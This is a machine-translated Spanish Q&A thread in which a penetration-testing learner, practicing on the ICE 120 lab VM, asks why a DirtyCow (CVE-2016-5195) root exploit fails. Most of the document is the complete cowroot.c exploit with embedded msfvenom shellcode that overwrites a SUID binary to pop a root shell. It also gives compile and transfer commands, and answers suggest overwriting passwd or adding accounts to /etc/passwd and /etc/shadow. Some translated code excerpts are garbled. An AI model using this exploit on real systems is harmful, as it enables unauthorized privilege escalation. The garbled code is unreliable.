Explosión de vulnerabilidad de DirtyCow en la imagen ICE 120

3

Estoy tratando de aprender Pruebas de penetración. Mientras aprendía, también intentaba practicar por mi cuenta. Encontré una imagen vulnerable llamada ICE 120 en internet que es una aplicación web vulnerable y pude obtener nombres de usuario y hashes para el sistema después de explotar la inyección de SQL.

Ahora, mientras había iniciado sesión en ese sistema con un usuario no privilegiado, intentaba escalar el privilegio utilizando la vulnerabilidad de CVC-2016-5195 de dirtycow.

Encuentre la información a continuación sobre el kernel y un código de muestra que estaba usando de github, pero parece que no está funcionando. Como soy un principiante, realmente apreciaría su guía para comprender si estoy haciendo algo mal o si el núcleo no es explotable en absoluto. Tenga en cuenta que estoy usando una imagen de máquina virtual para practicar esto.

Kernel de la víctima:

/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>

Estoy usando el siguiente código de github (he intentado algunas otras variaciones de github que usan el mismo concepto de dirtycow). He compilado este código en realidad en la máquina Kali (otra máquina virtual en mi laboratorio de pruebas como máquina atacante) usando "gcc -o cowroot cowroot.c -m32 -pthread" mientras la máquina víctima lanzaba algún error de compilación para "tipo de estructura no válido ". Luego utilicé scp para transferir el código binario del código a mi máquina víctima.

scp cowroot [email protected]:/home/jdavenport/cowroot1

Para su información, mi Kali Kernel es el siguiente

Linux kali 4.8.0-kali2-amd64 # 1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU / Linux.

El código Dirtycow que he usado es el siguiente:

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/etc/passwd";

/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i

unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
  0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
  0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
  0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
  0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
  0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/

/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
  0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
  0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
  0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
  0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
  0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
  0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
  0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;


void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

Después de ejecutar el código, simplemente se completa sin abrir un shell nuevo ni nada.

/home/jdavenport >>./cowroot1 
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped

* Actualización 08/04/2017 * Según lo recomendado por Josh, ahora he modificado el programa cowroot c con el binario SUID correcto, que también tiene permiso de lectura para usuarios sin privilegios.

jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26  2008 kcheckpass*

Todavía no puedo explotar la vulnerabilidad. En mi mente, podría haber un par de razones -

  • El kernel no es vulnerable

Mi argumento es que la versión del kernel muestra que debería ser vulnerable

jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$ 

: el código de explotación no funciona como se esperaba.

  • Creo que puedo haber encontrado una razón y está relacionada con el subprocesamiento.

  • He leído el concepto de copia sucia en el exploit de escritura y parece que es totalmente dependiente de la condición de carrera debido a dos simultáneos hilos que intentan trabajar (madvise y escritura privada) en el archivo.

  • He modificado el programa C para imprimir dentro de los hilos y redirigido a un archivo de registro para su posterior análisis Un extracto es el siguiente:

    void * madviseThread (void * arg) {     char str;     str = (char ) arg;     int i, c = 0;     para (i = 0; i < 10000000 & &! stop; i ++) {         c + = madvise (mapa, 100, MADV_DONTNEED);     printf ("t1 = >% d \ n", c);     }     printf ("hilo detenido \ n"); }

    void * procselfmemThread (void * arg) {     char str;     str = (char ) arg;     int f = abierto ("/ proc / self / mem", O_RDWR);     int i, c = 0;     para (i = 0; i < 10000000 & &! stop; i ++) {         lseek (f, mapa, SEEK_SET);         c + = escribir (f, str, sc_len);     printf ("t2 = >% d \ n", c);     }     printf ("hilo detenido \ n"); }

    - Al analizar los registros, parece que los subprocesos funcionan en un clúster forma por ejemplo manojo de ejecución del hilo 1 y luego manojo de ejecución del hilo 2. Un ejemplo: mientras se cuenta la primera aparición del subproceso 2 se encuentra después de 35142 líneas

    root @ kali: ~ # grep -n "t2 = > -1" cowlog.txt | cabeza -10

    35413: t2 = > -1 35422: t2 = > -10 35423: t2 = > -11 35424: t2 = > -12 35425: t2 = > -13 35426: t2 = > -14 35427: t2 = > -15 35428: t2 = > -dieciséis 35429: t2 = > -17 35430: t2 = > -18

  • Mi versión de GCC desde donde compilé el código es la siguiente

    root @ kali: ~ # gcc --version

    gcc (Debian 6.3.0-11) 6.3.0 20170321 Copyright (C) 2016 Free Software Foundation, Inc. Este es un software libre; ver la fuente de las condiciones de copia. No hay garantía; ni siquiera por COMERCIABILIDAD o APTITUD PARA UN PROPÓSITO EN PARTICULAR.

    root @ kali: ~ #

Y he compilado mi programa usando el siguiente

gcc -o cowroot cowroot.c -m32 -pthread

Su consejo experto sería muy apreciado.

    
pregunta Sourish Banerjee 08.04.2017 - 00:37
fuente

3 respuestas

1

¿Has probado alguna de las otras variantes de dirtycow? Si crees que el problema está en la poc, puedes descartarlo probando otras poc que estén explotando la misma vulnerabilidad. No es necesario generar un shell para convertirse en root, siempre puede agregar una nueva cuenta de usuario a / etc / passwd y / etc / shadow.

    
respondido por el Joshua Gimer 09.04.2017 - 03:37
fuente
4

El binario suid debe ser el binario passwd, no su archivo passwd. Escriba "which passwd" y configure su matriz de caracteres suid_binary en la ruta completa de passwd.

    
respondido por el Josh Gimer 08.04.2017 - 02:56
fuente
0

Gracias por su orientación, por fin he explotado exitosamente la vulnerabilidad en mi máquina objetivo.

He utilizado otras formas (POC) de explotar la misma vulnerabilidad del siguiente enlace de github

https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54 

He cambiado el nombre de archivo binario SUID y el código de shell de 32 bits sin comentarios en consecuencia.

Y después de compilarlo con el indicador -m32 (porque mi objetivo era de 32 bits) y mi máquina atacante era de 64 bits.

Sin embargo, todavía no tengo claro por qué mis intentos anteriores fallaron, lo investigaré una vez que aprenda más sobre este tema.

Hasta entonces asumiré que he encontrado la solución (de una forma u otra), gracias por tus consejos rápidos y orientación.

Saludos, Sourish

    
respondido por el Sourish Banerjee 11.04.2017 - 13:03
fuente

Lea otras preguntas en las etiquetas